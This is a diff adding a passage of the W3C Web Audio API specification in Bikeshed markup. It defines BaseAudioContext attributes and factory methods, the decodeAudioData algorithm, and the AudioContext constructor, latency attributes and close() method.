+		"{{AudioContextState/running}}" state, the
+		value of this attribute is monotonically increasing and is
+		updated by the rendering thread in uniform increments,
+		corresponding to one <a>render quantum</a>. Thus, for a running
+		context, <code>currentTime</code> increases steadily as the
+		system processes audio blocks, and always represents the time
+		of the start of the next audio block to be processed. It is
+		also the earliest possible time when any change scheduled in
+		the current state might take effect.
+
+		<code>currentTime</code> MUST be read <a>atomically</a> on the control thread before being
+		returned.
+
+	: <dfn>destination</dfn>
+	::
+		An {{AudioDestinationNode}}
+		with a single input representing the final destination for all
+		audio. Usually this will represent the actual audio hardware.
+		All {{AudioNode}}s actively rendering audio
+		will directly or indirectly connect to {{BaseAudioContext/destination}}.
+
+	: <dfn>listener</dfn>
+	::
+		An {{AudioListener}}
+		which is used for 3D <a href="#Spatialization">spatialization</a>.
+
+	: <dfn>onstatechange</dfn>
+	::
+		A property used to set the <code>EventHandler</code> for an
+		event that is dispatched to
+		{{BaseAudioContext}} when the state of the
+		AudioContext has changed (i.e. when the corresponding promise
+		would have resolved). An event of type
+		{{Event}} will be dispatched to the event
+		handler, which can query the AudioContext's state directly. A
+		newly-created AudioContext will always begin in the
+		<code>suspended</code> state, and a state change event will be
+		fired whenever the state changes to a different state. This
+		event is fired before the {{oncomplete}} event
+		is fired.
+
+	: <dfn>sampleRate</dfn>
+	::
+		The sample rate (in sample-frames per second) at which the
+		{{BaseAudioContext}} handles audio. It is assumed that all
+		{{AudioNode}}s in the context run at this rate. In making this
+		assumption, sample-rate converters or "varispeed" processors are
+		not supported in real-time processing.
+		The <dfn dfn for="/">Nyquist frequency</dfn> is half this sample-rate value.
+
+	: <dfn>state</dfn>
+	::
+		Describes the current state of the {{BaseAudioContext}}.  Getting this
+		attribute returns the contents of the {{[[control thread state]]}} slot.
+</dl>
+
+<h4 id="BaseAudioContent-methods">
+Methods</h4>
+
+<dl dfn-type=method dfn-for=BaseAudioContext>
+	: <dfn>createAnalyser()</dfn>
+	::
+		<a>Factory method</a> for an {{AnalyserNode}}.
+		<div>
+			<em>No parameters.</em>
+		</div>
+		<div>
+			<em>Return type:</em> {{AnalyserNode}}
+		</div>
+
+	: <dfn>createBiquadFilter()</dfn>
+	::
+		<a>Factory method</a> for a {{BiquadFilterNode}}
+		representing a second order filter which can be configured as one
+		of several common filter types.
+		<div>
+			<em>No parameters.</em>
+		</div>
+		<div>
+			<em>Return type:</em> {{BiquadFilterNode}}
+		</div>
+
+	: <dfn>createBuffer(numberOfChannels, length, sampleRate)</dfn>
+	::
+		Creates an AudioBuffer of the given size. The audio data in the
+		buffer will be zero-initialized (silent).
+		<span class="synchronous">A {{NotSupportedError}} exception MUST be
+		thrown if any of the arguments is negative, zero, or outside its
+		nominal range.</span>
+
+		<pre class=argumentdef for="BaseAudioContext/createBuffer()">
+		numberOfChannels: Determines how many channels the buffer will have. An implementation MUST support at least 32 channels.
+		length: Determines the size of the buffer in sample-frames.  This MUST be at least 1.
+		sampleRate: Describes the sample-rate of the [=linear PCM=] audio data in the buffer in sample-frames per second. An implementation MUST support sample rates in at least the range 8000 to 96000.
+		</pre>
+		<div>
+			<em>Return type:</em> {{AudioBuffer}}
+		</div>
+
+	: <dfn>createBufferSource()</dfn>
+	::
+		<a>Factory method</a> for a
+		{{AudioBufferSourceNode}}.
+		<div>
+			<em>No parameters.</em>
+		</div>
+		<div>
+			<em>Return type:</em> {{AudioBufferSourceNode}}
+		</div>
+
+	: <dfn>createChannelMerger(numberOfInputs)</dfn>
+	::
+		<a>Factory method</a> for a
+		{{ChannelMergerNode}} representing a channel
+		merger. <span class="synchronous">An
+		{{IndexSizeError}} exception MUST be thrown if
+		{{BaseAudioContext/createChannelMerger(numberOfInputs)/numberOfInputs}} is less than 1 or is greater than the number of supported channels.</span>
+
+		<pre class=argumentdef for="BaseAudioContext/createChannelMerger(numberOfInputs)">
+		numberOfInputs: Determines the number of inputs. Values of up to 32 MUST be supported. If not specified, then `6` will be used.
+		</pre>
+
+		<div>
+			<em>Return type:</em> {{ChannelMergerNode}}
+		</div>
+
+	: <dfn>createChannelSplitter(numberOfOutputs)</dfn>
+	::
+		<a>Factory method</a> for a
+		{{ChannelSplitterNode}} representing a channel
+		splitter. <span class="synchronous">An
+		{{IndexSizeError}} exception MUST be thrown if
+		{{BaseAudioContext/createChannelSplitter(numberOfOutputs)/numberOfOutputs}}  is less than 1 or is greater than the number of supported channels.</span>
+
+		<pre class=argumentdef for="BaseAudioContext/createChannelSplitter(numberOfOutputs)">
+		numberOfOutputs: The number of outputs. Values of up to 32 MUST be supported. If not specified, then `6` will be used.
+		</pre>
+
+		<div>
+			<em>Return type:</em> {{ChannelSplitterNode}}
+		</div>
+
+	: <dfn>createConstantSource()</dfn>
+	::
+		<a>Factory method</a> for a
+		{{ConstantSourceNode}}.
+		<div>
+			<em>No parameters.</em>
+		</div>
+		<div>
+			<em>Return type:</em> {{ConstantSourceNode}}
+		</div>
+
+	: <dfn>createConvolver()</dfn>
+	::
+		<a>Factory method</a> for a {{ConvolverNode}}.
+		<div>
+			<em>No parameters.</em>
+		</div>
+		<div>
+			<em>Return type:</em> {{ConvolverNode}}
+		</div>
+
+	: <dfn>createDelay(maxDelayTime)</dfn>
+	::
+		<a>Factory method</a> for a {{DelayNode}}. The initial default
+		delay time will be 0 seconds.
+
+		<pre class=argumentdef for="BaseAudioContext/createDelay(maxDelayTime)">
+		maxDelayTime: Specifies the maximum delay time in seconds allowed for the delay line. <span class="synchronous">If specified, this value MUST be greater than zero and less than three minutes or a {{NotSupportedError}} exception MUST be thrown.</span> If not specified, then `1` will be used.
+		</pre>
+
+		<div>
+			<em>Return type:</em> {{DelayNode}}
+		</div>
+
+	: <dfn>createDynamicsCompressor()</dfn>
+	::
+		<a>Factory method</a> for a
+		{{DynamicsCompressorNode}}.
+		<div>
+			<em>No parameters.</em>
+		</div>
+		<div>
+			<em>Return type:</em> {{DynamicsCompressorNode}}
+		</div>
+
+	: <dfn>createGain()</dfn>
+	::
+		<a>Factory method</a> for {{GainNode}}.
+		<div>
+			<em>No parameters.</em>
+		</div>
+		<div>
+			<em>Return type:</em> {{GainNode}}
+		</div>
+
+	: <dfn>createIIRFilter(feedforward, feedback)</dfn>
+	::
+		<pre class=argumentdef for="BaseAudioContext/createIIRFilter()">
+		feedforward: An array of the feedforward (numerator) coefficients for the transfer function of the IIR filter. The maximum length of this array is 20. If all of the values are zero, <span class="synchronous">an {{InvalidStateError}} <em class="rfc2119" title="MUST">MUST</em> be thrown</span>. <span class="synchronous">A {{NotSupportedError}} <em class="rfc2119" title="MUST">MUST</em> be thrown if the array length is 0 or greater than 20</span>.
+		feedback: An array of the feedback (denominator) coefficients for the transfer function of the IIR filter. The maximum length of this array is 20. If the first element of the array is 0, <span class="synchronous">an {{InvalidStateError}} <em class="rfc2119" title="MUST">MUST</em> be thrown</span>. <span class="synchronous">A {{NotSupportedError}} <em class="rfc2119" title="MUST">MUST</em> be thrown if the array length is 0 or greater than 20</span>.
+		</pre>
+
+		<div>
+			<em>Return type:</em> {{IIRFilterNode}}
+		</div>
+
+	: <dfn>createOscillator()</dfn>
+	::
+		<a>Factory method</a> for an {{OscillatorNode}}.
+		<div>
+			<em>No parameters.</em>
+		</div>
+		<div>
+			<em>Return type:</em> {{OscillatorNode}}
+		</div>
+
+	: <dfn>createPanner()</dfn>
+	::
+		<a>Factory method</a> for a {{PannerNode}}.
+		<div>
+			<em>No parameters.</em>
+		</div>
+		<div>
+			<em>Return type:</em> {{PannerNode}}
+		</div>
+
+	: <dfn>createPeriodicWave(real, imag, constraints)</dfn>
+	::
+		<a>Factory method</a> to create a
+		{{PeriodicWave}}.
+
+		<div algorithm="BaseAudioContext.createPeriodicWave()">
+			When calling this method,
+			execute these steps:
+
+			1. <span class="synchronous">If {{BaseAudioContext/createPeriodicWave()/real}} and {{BaseAudioContext/createPeriodicWave()/imag}} are not of the same
+				length, an {{IndexSizeError}} MUST be thrown.</span>
+
+			2. Let <var>o</var> be a new object of type
+				{{PeriodicWaveOptions}}.
+
+			3. Respectively set the {{BaseAudioContext/createPeriodicWave()/real}} and
+				{{BaseAudioContext/createPeriodicWave()/imag}} parameters passed to this factory method to
+				the attributes of the same name on <var>o</var>.
+
+			4. Set the {{PeriodicWaveConstraints/disableNormalization}} attribute on
+				<var>o</var> to the value of the
+				{{PeriodicWaveConstraints/disableNormalization}} attribute of the
+				<code>constraints</code> attribute passed to the factory
+				method.
+
+			5. Construct a new {{PeriodicWave}}
+				<var>p</var>, passing the {{BaseAudioContext}} this factory
+				method has been called on as a first argument, and
+				<var>o</var>.
+			6. Return <var>p</var>.
+		</div>
+
+		<pre class=argumentdef for="BaseAudioContext/createPeriodicWave()">
+		real: A sequence of cosine parameters. See its {{PeriodicWaveOptions/real}} constructor argument for a more detailed description.
+		imag: A sequence of sine parameters. See its {{PeriodicWaveOptions/imag}} constructor argument for a more detailed description.
+		constraints: If not given, the waveform is normalized. Otherwise, the waveform is normalized according the value given by <code>constraints</code>.
+		</pre>
+
+		<div>
+			<em>Return type:</em> {{PeriodicWave}}
+		</div>
+
+	: <dfn>createScriptProcessor(bufferSize, numberOfInputChannels, numberOfOutputChannels)</dfn>
+	::
+		<a>Factory method</a> for a {{ScriptProcessorNode}}.
+		This method is DEPRECATED, as it is intended to be replaced by {{AudioWorkletNode}}.
+		Creates a {{ScriptProcessorNode}} for direct audio processing using scripts.
+		<span class="synchronous">An {{IndexSizeError}} exception MUST be thrown if
+		{{bufferSize!!argument}} or {{numberOfInputChannels}} or {{numberOfOutputChannels}}
+		are outside the valid range.</span>
+
+		It is invalid for both {{numberOfInputChannels}} and {{numberOfOutputChannels}} to be zero.
+		<span class="synchronous">In this case an {{IndexSizeError}} MUST be thrown.</span>
+
+		<pre class=argumentdef for="BaseAudioContext/createScriptProcessor(bufferSize, numberOfInputChannels, numberOfOutputChannels)">
+		bufferSize: The {{ScriptProcessorNode/bufferSize}} parameter determines the buffer size in units of sample-frames. If it's not passed in, or if the value is 0, then the implementation will choose the best buffer size for the given environment, which will be constant power of 2 throughout the lifetime of the node. Otherwise if the author explicitly specifies the bufferSize, it <em class="rfc2119" title="MUST">MUST</em> be one of the following values: 256, 512, 1024, 2048, 4096, 8192, 16384. This value controls how frequently the {{ScriptProcessorNode/onaudioprocess}} event is dispatched and how many sample-frames need to be processed each call. Lower values for {{ScriptProcessorNode/bufferSize}} will result in a lower (better) <a href="#latency">latency</a>. Higher values will be necessary to avoid audio breakup and <a href="#audio-glitching">glitches</a>. It is recommended for authors to not specify this buffer size and allow the implementation to pick a good buffer size to balance between <a href="#latency">latency</a> and audio quality. If the value of this parameter is not one of the allowed power-of-2 values listed above, <span class="synchronous">an {{IndexSizeError}} <em class="rfc2119" title="MUST">MUST</em> be thrown</span>.
+		numberOfInputChannels: This parameter determines the number of channels for this node's input. The default value is 2. Values of up to 32 must be supported. <span class="synchronous">A {{NotSupportedError}} must be thrown if the number of channels is not supported.</span>
+		numberOfOutputChannels: This parameter determines the number of channels for this node's output. The default value is 2. Values of up to 32 must be supported. <span class="synchronous">A {{NotSupportedError}} must be thrown if the number of channels is not supported.</span>
+		</pre>
+
+		<div>
+			<em>Return type:</em> {{ScriptProcessorNode}}
+		</div>
+
+	: <dfn>createStereoPanner()</dfn>
+	::
+		<a>Factory method</a> for a {{StereoPannerNode}}.
+		<div>
+			<em>No parameters.</em>
+		</div>
+		<div>
+			<em>Return type:</em> {{StereoPannerNode}}
+		</div>
+
+	: <dfn>createWaveShaper()</dfn>
+	::
+		<a>Factory method</a> for a {{WaveShaperNode}}
+		representing a non-linear distortion.
+		<div>
+			<em>No parameters.</em>
+		</div>
+		<div>
+			<em>Return type:</em> {{WaveShaperNode}}
+		</div>
+
+	: <dfn>decodeAudioData(audioData, successCallback, errorCallback)</dfn>
+	::
+		Asynchronously decodes the audio file data contained in the
+		{{ArrayBuffer}}. The {{ArrayBuffer}} can, for
+		example, be loaded from an <code>XMLHttpRequest</code>'s
+		<code>response</code> attribute after setting the
+		<code>responseType</code> to <code>"arraybuffer"</code>. Audio
+		file data can be in any of the formats supported by the
+		<{audio}> element. The buffer passed to
+		{{BaseAudioContext/decodeAudioData()}} has its
+		content-type determined by sniffing, as described in
+		[[!mimesniff]].
+
+		Although the primary method of interfacing with this function
+		is via its promise return value, the callback parameters are
+		provided for legacy reasons.
+
+		<div class="correction proposed" id="c2321-1">
+			<span class="marker">Candidate Correction Issue 2321:</span>
+			<div class="amendment-buttons">
+				Buttons here
+			</div>
+				Encourage implementation to warn authors in case of a corrupted file. It
+				isn't possible to throw because this would be a breaking change.
+		</div>
+		<ins cite="#c2321-1">
+			<div class=note>
+				Note: If the compressed audio data byte-stream is corrupted but the
+				decoding can otherwise proceed, implementations are encouraged to warn
+				authors for example via the developer tools.
+			</div>
+		</ins>
+
+		<div algorithm="decodeAudioData()">
+			<span class="synchronous">When <code>decodeAudioData</code> is
+			called, the following steps MUST be performed on the control
+			thread:</span>
+
+			1. If [=this=]'s [=relevant global object=]'s [=associated Document=] is not [=fully active=] then return [=a promise rejected with=] "{{InvalidStateError}}" {{DOMException}}.
+
+			2. Let <var>promise</var> be a new Promise.
+
+			3. <div class="correction proposed" id="c2361-1">
+				<span class="marker">Proposed Correction
+				<a href="https://github.com/WebAudio/web-audio-api/issues/2361">Issue 2361</a>-1.
+				</span>
+				Use new Web IDL buffer primitives
+				<div class="amendment-buttons">
+				  Buttons here
+				</div>
+				If <del>
+				the operation <a href="https://tc39.github.io/ecma262/#sec-isdetachedbuffer"><code>IsDetachedBuffer</code></a> (described in [[!ECMASCRIPT]]) on
+				{{BaseAudioContext/decodeAudioData(audioData, successCallback, errorCallback)/audioData!!argument}}
+				is <code>false</code>,</del><ins> {{BaseAudioContext/decodeAudioData(audioData, successCallback, errorCallback)/audioData!!argument}} is [=BufferSource/detached=],</ins> execute the following steps:
+				</div>
+
+				1. Append <var>promise</var> to {{BaseAudioContext/[[pending promises]]}}.
+
+				2. <div class="correction proposed" id="c2361-2">
+					<span class="marker">Proposed Correction
+					<a href="https://github.com/WebAudio/web-audio-api/issues/2361">Issue 2361</a>-2.
+					</span>
+					Use new Web IDL buffer primitives
+					<div class="amendment-buttons">
+					  Buttons here
+					</div>
+					<del><a href="https://tc39.github.io/ecma262/#sec-detacharraybuffer">Detach</a></del><ins>[=ArrayBuffer/Detach=]</ins>
+					the {{BaseAudioContext/decodeAudioData(audioData, successCallback, errorCallback)/audioData!!argument}} {{ArrayBuffer}}.
+					<del>This operation is described in [[!ECMASCRIPT]].</del>
+					 If this operations throws, jump to the step 3.
+					</div>
+
+				3. Queue a decoding operation to be performed on another thread.
+
+			4. Else, execute the following error steps:
+
+				1. Let <var>error</var> be a {{DataCloneError}}.
+				2. Reject <var>promise</var> with <var>error</var>, and remove it from
+					{{BaseAudioContext/[[pending promises]]}}.
+
+				3. <a href="https://html.spec.whatwg.org/multipage/media.html#queue-a-media-element-task">
+					Queue a media element task</a> to invoke
+					{{BaseAudioContext/decodeAudioData()/errorCallback!!argument}} with |error|.
+
+			5. Return <var>promise</var>.
+		</div>
+
+		<div algorithm="queue a decode operation">
+			When queuing a decoding operation to be performed on another
+			thread, the following steps MUST happen on a thread that is not
+			the <a>control thread</a> nor the <a>rendering thread</a>,
+			called the <dfn attribute for=BaseAudioContext>decoding thread</dfn>.
+
+			Note: Multiple {{decoding thread}}s can run in parallel to
+			service multiple calls to <code>decodeAudioData</code>.
+
+			1. Let <var>can decode</var> be a boolean flag, initially set to true.
+
+			2. Attempt to determine the MIME type of
+				{{BaseAudioContext/decodeAudioData(audioData, successCallback,
+				errorCallback)/audioData!!argument}}, using
+				[[mimesniff#matching-an-audio-or-video-type-pattern]]. If the audio or
+				video type pattern matching algorithm returns {{undefined}},
+				set <var>can decode</var> to <em>false</em>.
+
+			3. If <var>can decode</var> is <em>true</em>, attempt to decode the encoded
+				{{BaseAudioContext/decodeAudioData(audioData, successCallback,
+				errorCallback)/audioData!!argument}} into [=linear PCM=]. In case of
+				failure, set <var>can decode</var> to <em>false</em>.
+
+				<div class="correction proposed" id="c2375-1">
+					<span class="marker">Proposed Correction
+						<a href="https://github.com/WebAudio/web-audio-api/issues/2375">Issue
+							2375</a>.
+					</span>
+					Only decode the first audio track of a multi-track media file.
+					<div class="amendment-buttons">
+						Buttons here
+					</div>
+					<ins cite=#c2375>
+						If the media byte-stream contains multiple audio tracks, only decode the
+						first track to [=linear pcm=].
+
+						Note: Authors who need more control over the decoding process can use
+						[[WEBCODECS]].
+					</ins>
+				</div>
+
+			4. If |can decode| is `false`,
+				<a href="https://html.spec.whatwg.org/multipage/media.html#queue-a-media-element-task">
+				queue a media element task</a> to execute the following steps:
+
+				1. Let <var>error</var> be a <code>DOMException</code>
+					whose name is {{EncodingError}}.
+
+					2. Reject <var>promise</var> with <var>error</var>, and remove it from
+						{{BaseAudioContext/[[pending promises]]}}.
+
+				3. If {{BaseAudioContext/decodeAudioData()/errorCallback!!argument}} is
+					not missing, invoke
+					{{BaseAudioContext/decodeAudioData()/errorCallback!!argument}} with
+					<var>error</var>.
+
+			5. Otherwise:
+				1. Take the result, representing the decoded [=linear PCM=]
+					audio data, and resample it to the sample-rate of the
+					{{BaseAudioContext}} if it is different from
+					the sample-rate of {{BaseAudioContext/decodeAudioData(audioData,
+					successCallback, errorCallback)/audioData!!argument}}.
+
+				2. <a href="https://html.spec.whatwg.org/multipage/media.html#queue-a-media-element-task">
+					queue a media element task</a> to execute the following steps:
+
+					1. Let <var>buffer</var> be an
+						{{AudioBuffer}} containing the final result
+						(after possibly performing sample-rate conversion).
+
+					2. Resolve <var>promise</var> with <var>buffer</var>.
+
+					3. If {{BaseAudioContext/decodeAudioData()/successCallback!!argument}}
+						is not missing, invoke
+						{{BaseAudioContext/decodeAudioData()/successCallback!!argument}}
+						with <var>buffer</var>.
+		</div>
+
+		<pre class=argumentdef for="BaseAudioContext/decodeAudioData()">
+		audioData: An ArrayBuffer containing compressed audio data.
+		successCallback: A callback function which will be invoked when the decoding is finished. The single argument to this callback is an AudioBuffer representing the decoded PCM audio data.
+		errorCallback: A callback function which will be invoked if there is an error decoding the audio file.
+		</pre>
+
+		<div>
+			<em>Return type:</em> {{Promise}}&lt;{{AudioBuffer}}&gt;
+		</div>
+
+</dl>
+
+<h4 id="callback-decodesuccesscallback-parameters" callback lt="DecodeSuccessCallback()">
+Callback {{DecodeSuccessCallback()}} Parameters</h4>
+
+<dl dfn-type=argument dfn-for="DecodeSuccessCallback()">
+	: {{DecodeSuccessCallback/decodedData!!argument}}</dfn>, of type {{AudioBuffer}}
+	:: The AudioBuffer containing the decoded audio data.
+</dl>
+
+<h4 id="callback-decodeerrorcallback-parameters" callback lt="DecodeErrorCallback()">
+Callback {{DecodeErrorCallback()}} Parameters</h4>
+
+<dl dfn-type=argument dfn-for="DecodeErrorCallback()">
+	: {{DecodeErrorCallback/error!!argument}}, of type {{DOMException}}
+	:: The error that occurred while decoding.
+</dl>
+
+<h4 id="lifetime-AudioContext" class="informative">
+Lifetime</h4>
+
+Once created, an {{AudioContext}} will continue to play
+sound until it has no more sound to play, or the page goes away.
+
+<h4 id="lack-of-introspection-or-serialization-primitives" class=informative>
+Lack of Introspection or Serialization Primitives</h4>
+
+The Web Audio API takes a <em>fire-and-forget</em> approach to
+audio source scheduling. That is, <a>source nodes</a> are created
+for each note during the lifetime of the {{AudioContext}}, and
+never explicitly removed from the graph. This is incompatible with
+a serialization API, since there is no stable set of nodes that
+could be serialized.
+
+Moreover, having an introspection API would allow content script to
+be able to observe garbage collections.
+
+<h4 id="system-resources-associated-with-baseaudiocontext-subclasses">
+System Resources Associated with {{BaseAudioContext}} Subclasses</h4>
+
+The subclasses {{AudioContext}} and {{OfflineAudioContext}}
+should be considered expensive objects. Creating these objects may
+involve creating a high-priority thread, or using a low-latency
+system audio stream, both having an impact on energy consumption.
+It is usually not necessary to create more than one
+{{AudioContext}} in a document.
+
+Constructing or resuming a {{BaseAudioContext}} subclass
+involves <dfn id="acquiring">acquiring system resources</dfn> for
+that context. For {{AudioContext}}, this also requires creation
+of a system audio stream. These operations return when the context
+begins generating output from its associated audio graph.
+
+Additionally, a user-agent can have an implementation-defined
+maximum number of {{AudioContext}}s, after which any attempt to
+create a new {{AudioContext}} will fail, <span class="synchronous">throwing {{NotSupportedError}}</span>.
+
+{{AudioContext/suspend}} and {{AudioContext/close}} allow authors to <dfn id="releasing">release system resources</dfn>, including threads,
+processes and audio streams. Suspending a {{BaseAudioContext}}
+permits implementations to release some of its resources, and
+allows it to continue to operate later by invoking
+{{AudioContext/resume}}. Closing an
+{{AudioContext}} permits implementations to release all of its
+resources, after which it cannot be used or resumed again.
+
+Note: For example, this can involve waiting for the audio callbacks to
+fire regularly, or to wait for the hardware to be ready for
+processing.
+
+<!--
+   ███     ██████
+  ██ ██   ██    ██
+ ██   ██  ██
+██     ██ ██
+█████████ ██
+██     ██ ██    ██
+██     ██  ██████
+-->
+
+<h3 interface lt="audiocontext" id="AudioContext">
+The {{AudioContext}} Interface</h3>
+
+This interface represents an audio graph whose
+{{AudioDestinationNode}} is routed to a real-time
+output device that produces a signal directed at the user. In most
+use cases, only a single {{AudioContext}} is used per
+document.
+
+<pre class="idl">
+enum AudioContextLatencyCategory {
+		"balanced",
+		"interactive",
+		"playback"
+};
+</pre>
+
+<div class="enum-description">
+<table class="simple" dfn-type=enum-value dfn-for="AudioContextLatencyCategory">
+	<thead>
+		<tr>
+			<th scope="col" colspan="2">
+				Enumeration description
+	<tbody>
+		<tr>
+			<td>
+				"<dfn>balanced</dfn>"
+			<td>
+				Balance audio output latency and power consumption.
+		<tr>
+			<td>
+				"<dfn>interactive</dfn>"
+			<td>
+				Provide the lowest audio output latency possible without
+				glitching. This is the default.
+		<tr>
+			<td>
+				"<dfn>playback</dfn>"
+			<td>
+				Prioritize sustained playback without interruption over audio
+				output latency. Lowest power consumption.
+</table>
+</div>
+
+<xmp class="idl">
+[Exposed=Window]
+interface AudioContext : BaseAudioContext {
+	constructor (optional AudioContextOptions contextOptions = {});
+	readonly attribute double baseLatency;
+	readonly attribute double outputLatency;
+	AudioTimestamp getOutputTimestamp ();
+	Promise<undefined> resume ();
+	Promise<undefined> suspend ();
+	Promise<undefined> close ();
+	MediaElementAudioSourceNode createMediaElementSource (HTMLMediaElement mediaElement);
+	MediaStreamAudioSourceNode createMediaStreamSource (MediaStream mediaStream);
+	MediaStreamTrackAudioSourceNode createMediaStreamTrackSource (
+		MediaStreamTrack mediaStreamTrack);
+	MediaStreamAudioDestinationNode createMediaStreamDestination ();
+};
+</xmp>
+
+An {{AudioContext}} is said to be <dfn>allowed to start</dfn> if the user agent
+allows the context state to transition from "{{AudioContextState/suspended}}" to
+"{{AudioContextState/running}}". A user agent may disallow this initial transition,
+and to allow it only when the {{AudioContext}}'s [=relevant global object=] has
+[=sticky activation=].
+
+{{AudioContext}} has an internal slot:
+
+<dl dfn-type=attribute dfn-for="AudioContext">
+	: <dfn>[[suspended by user]]</dfn>
+	::
+		A boolean flag representing whether the context is suspended by user code.
+		The initial value is <code>false</code>.
+</dl>
+
+<h4 id="AudioContext-constructors">
+Constructors</h4>
+
+<dl dfn-type="constructor" dfn-for="AudioContext">
+	: <dfn>AudioContext(contextOptions)</dfn>
+	::
+		<div algorithm="AudioContext()">
+
+			<p>
+			If the <a href=
+				"https://html.spec.whatwg.org/#concept-current-everything">current
+				settings object</a>'s <a href=
+				"https://html.spec.whatwg.org/#responsible-document">responsible
+				document</a> is NOT <a href=
+				"https://html.spec.whatwg.org/multipage/browsers.html#fully-active">
+				fully active</a>, throw an <code>InvalidStateError</code> and
+			abort these steps.
+			</p>
+			<span class="synchronous">When creating an {{AudioContext}},
+			execute these steps:</span>
+
+			1. Set a {{[[control thread state]]}} to <code>suspended</code> on the {{AudioContext}}.
+
+			2. Set a {{[[rendering thread state]]}} to <code>suspended</code> on the {{AudioContext}}.
+
+			3. Let <dfn attribute for="AudioContext">[[pending resume promises]]</dfn> be a
+				slot on this {{AudioContext}}, that is an initially empty ordered list of
+				promises.
+
+			4. If <code>contextOptions</code> is given, apply the options:
+
+				1. Set the internal latency of this {{AudioContext}}
+					according to <code>contextOptions.{{AudioContextOptions/latencyHint}}</code>, as described
+					in {{AudioContextOptions/latencyHint}}.
+
+				2. If <code>contextOptions.{{AudioContextOptions/sampleRate}}</code> is specified,
+					set the {{BaseAudioContext/sampleRate}}
+					of this {{AudioContext}} to this value. Otherwise, use
+					the sample rate of the default output device. If the
+					selected sample rate differs from the sample rate of the
+					output device, this {{AudioContext}} MUST resample the
+					audio output to match the sample rate of the output device.
+
+					Note: If resampling is required, the latency of the
+					AudioContext may be affected, possibly by a large
+					amount.
+
+			5. If the context is <a>allowed to start</a>, send a
+				<a>control message</a> to start processing.
+
+			6. Return this {{AudioContext}} object.
+		</div>
+
+		<div algorithm="sending a control message to start processing">
+			Sending a <a>control message</a> to start processing means
+			executing the following steps:
+
+			1. Attempt to <a href="#acquiring">acquire system resources</a>.
+				In case of failure, abort the following steps.
+
+			3. Set the {{[[rendering thread state]]}} to <code>running</code> on the {{AudioContext}}.
+
+			1. <a href="https://html.spec.whatwg.org/multipage/media.html#queue-a-media-element-task">
+				queue a media element task</a> to execute the following steps:
+
+				1. Set the {{BaseAudioContext/state}} attribute of the {{AudioContext}} to "{{AudioContextState/running}}".
+
+				1. <a href="https://html.spec.whatwg.org/multipage/media.html#queue-a-media-element-task">
+					queue a media element task</a> to <a spec="dom" lt="fire an event">fire an event
+					</a> named `statechange` at the {{AudioContext}}.
+		</div>
+
+		Note: It is unfortunately not possible to programatically notify
+		authors that the creation of the {{AudioContext}} failed.
+		User-Agents are encouraged to log an informative message if
+		they have access to a logging mechanism, such as a developer
+		tools console.
+
+		<pre class="argumentdef" for="AudioContext/constructor(contextOptions)">
+		contextOptions: User-specified options controlling how the {{AudioContext}} should be constructed.
+		</pre>
+</dl>
+
+<h4 id="AudioContext-attributes">
+Attributes</h4>
+
+<dl dfn-type=attribute dfn-for="AudioContext">
+	: <dfn>baseLatency</dfn>
+	::
+		This represents the number of seconds of processing latency
+		incurred by the {{AudioContext}} passing the audio from the
+		{{AudioDestinationNode}} to the audio subsystem. It does not
+		include any additional latency that might be caused by any
+		other processing between the output of the
+		{{AudioDestinationNode}} and the audio hardware and
+		specifically does not include any latency incurred the audio
+		graph itself.
+
+		For example, if the audio context is running at 44.1 kHz and
+		the {{AudioDestinationNode}} implements double buffering
+		internally and can process and output audio each <a>render
+		quantum</a>, then the processing latency is \((2\cdot128)/44100
+		= 5.805 \mathrm{ ms}\), approximately.
+
+	: <dfn>outputLatency</dfn>
+	::
+		The estimation in seconds of audio output latency, i.e., the
+		interval between the time the UA requests the host system to
+		play a buffer and the time at which the first sample in the
+		buffer is actually processed by the audio output device. For
+		devices such as speakers or headphones that produce an acoustic
+		signal, this latter time refers to the time when a sample's
+		sound is produced.
+
+		The {{outputLatency}} attribute value depends
+		on the platform and the connected hardware audio output device.
+		The {{outputLatency}} attribute value does not
+		change for the context's lifetime as long as the connected
+		audio output device remains the same. If the audio output
+		device is changed the {{outputLatency}}
+		attribute value will be updated accordingly.
+</dl>
+
+<h4 id="AudioContext-methods">
+Methods</h4>
+
+<dl dfn-type=method dfn-for="AudioContext">
+	: <dfn>close()</dfn>
+	::
+		Closes the {{AudioContext}}, [=release system resources|releasing the system
+		resources=] being used. This will not automatically release
+		all {{AudioContext}}-created objects, but will suspend the
+		progression of the {{AudioContext}}'s
+		{{BaseAudioContext/currentTime}}, and stop
+		processing audio data.
+
+		<div algorithm="AudioContext.close()">
+			<span class="synchronous">When close is called, execute these steps:</span>
+
+			1. If [=this=]'s [=relevant global object=]'s [=associated Document=] is not [=fully active=] then return [=a promise rejected with=] "{{InvalidStateError}}" {{DOMException}}.
+
+			1. Let <var>promise</var> be a new Promise.
+
+			1. If the {{[[control thread state]]}} flag on the
+				{{AudioContext}} is <code>closed</code> reject the promise
+				with {{InvalidStateError}}, abort these steps,
+				returning <var>promise</var>.
+
+			1. Set the {{[[control thread state]]}} flag on the {{AudioContext}} to
+				<code>closed</code>.
+
+			1. <a>Queue a control message</a> to close the {{AudioContext}}.
+
+			1. Return <em>promise</em>.
+		</div>
+
+		<div algorithm="run a control message to close an AudioContext">
+			Running a <a>control message</a> to close an
+			{{AudioContext}} means running these steps on the
+			<a>rendering thread</a>:
+
+			1. Attempt to <a>release system resources</a>.
+
+			2. Set the {{[[rendering thread state]]}} to <code>suspended</code>.
+				<div class="note">
+					This will stop rendering.
+				</div>
+
+			3. If this <a>control message</a> is being run in a reaction to the
+				document being unloaded, abort this algorithm.
+				<div class="note">
+					There is no need to notify the control thread in this case.
+				</div>
+
+			4. <a href="https://html.spec.whatwg.org/multipage/media.html#queue-a-media-element-task">
+				queue a media element task</a> to execute the following steps:
+
+				1. Resolve <em>promise</em>.
+				2. If the {{BaseAudioContext/state}} attribute of the {{AudioContext}} is not already "{{AudioContextState/closed}}":
+					1. Set the {{BaseAudioContext/state}} attribute of the {{AudioContext}} to "{{AudioContextState/closed}}".
+
+					1. <a href="https://html.spec.whatwg.org/multipage/media.html#queue-a-media-element-task">
+						queue a media element task</a> to <a spec="dom" lt="fire an event">fire
+						an event</a> named `statechange` at the {{AudioContext}}.
+		</div>
+
+		When an {{AudioContext}} is closed, any
+		{{MediaStream}}s and {{HTMLMediaElement}}s
+		that were connected to an {{AudioContext}} will have their
+		output ignored. That is, these will no longer cause any output
+		to speakers or other output devices. For more flexibility in
+		behavior, consider using <a href="https://www.w3.org/TR/mediacapture-fromelement/#dom-htmlmediaelement-capturestream">
+		<code>HTMLMediaElement.captureStream()</code></a>.
+
